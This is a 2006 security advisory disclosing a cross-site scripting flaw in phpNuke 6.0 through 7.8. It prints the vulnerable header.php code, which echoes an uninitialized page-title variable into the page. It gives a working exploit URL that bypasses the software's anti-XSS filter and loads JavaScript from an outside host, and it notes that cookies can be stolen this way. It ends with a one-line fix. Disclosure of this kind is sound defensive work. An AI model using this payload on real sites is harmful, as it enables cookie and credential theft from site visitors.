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[waraxe-2006-SA#044] - XSS in phpNuke 7.8 and older versions


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{                   [ XSS in phpNuke 7.8 and older versions]                    
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Author: Janek Vind "waraxe"
Date: 13. February 2006
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-44.html


Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

phpNuke 6.0 - 7.8

Homepage: http://phpnuke.org/


What is phpNuke ?

PHP-Nuke is a news automated system specially designed to be used in Intranets 
and Internet.
The Administrator has total control of his web site, registered users, and he 
will have in
the hand a powerful assembly of tools to maintain an active and 100% 
interactive web site
using databases.


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Potentially harmful cross-site scripting bug has been found in phpNuke software.
All versions from 6.0 to 7.8 are affected. Version 7.9 has not been tested 
against this bug,
but probably it is affected too. As in case of any XSS bugs, there can be many 
ways to 
exploit this bug, for example stealing the cookies, containing username/hashed 
password.


Details
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

So what is the cause of this XSS case? As common in phpNuke world, problem lies 
in
uninitialized variable - "$pagetitle". This global variable is used for 
transfer page
title from module worker-code to "head()" function in "header.php" file.

Looking at source ("header.php" line ~ 28):

----------------[ from source code ]------------------

function head() {
        global $slogan, $sitename, $banners, $nukeurl, $Version_Num, $artpage, 
$topic,
 $hlpfile, $user, $hr, $theme, $cookie, $bgcolor1, $bgcolor2, $bgcolor3, 
$bgcolor4,
 $textcolor1, $textcolor2, $forumpage, $adminpage, $userpage, $pagetitle;
        include("includes/ipban.php");
        $ThemeSel = get_theme();
        include("themes/$ThemeSel/theme.php");
        echo "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 
Transitional//EN\">\n";
        echo "<html>\n";
        echo "<head>\n";
        echo "<title>$sitename $pagetitle</title>\n";
        include("includes/meta.php");
        include("includes/javascript.php");
----------------[ /from source code ]-----------------

So we see, that "$pagetitle" is directly rendered to html code. And after 
searching in
source code, we can see that it is not initialized by default.
Hmm, what about running some tests ...


Let's try "http://localhost/nuke78/?pagetitle=w00t></title></head><body>test"


and we see, that html tags injection is really possible.
Now comes the hard part - how to inject scripting code? Phpnuke is using some 
anti-XSS
filters agaist injection, so direct attack with "<script>" and other usual tags 
will not
succeed. Well, as always, there can be found ways to bypass filters and after 
playing some
time with various injection tricki, I found this possibility:

[------ real life exploit ------]

http://localhost/nuke78/?pagetitle=kala</title></head><script+src=http://www.waraxe.us/~kama/p0hh.js?

[----- /real life exploit ------]
 

This method was tested successfully with 3 browsers - IE 6, Firefox 1.5.0.1 and 
Opera 8.51 .
So it seems, that phpnuke anti-xss filter must be made to be more bulletproof 
...

Bye all and have a nice day ;)



How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Write one code line to "mainfile.php":

$pagetitle = '';

This will initialize affected variable and patch the hole.


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greetz to LINUX, Heintz, y3dips, shai-tan, slimjim100, zer0-c00l and
all other active members from waraxe forum !

Raido Kerna - tervitused!


Additional resources:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

DX expeditions database - http://www.dxdb.com/

HDD data recovery - http://www.hdd911.com/


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    come2waraxe@xxxxxxxxx
    Janek Vind "waraxe"

    Homepage: http://www.waraxe.us/

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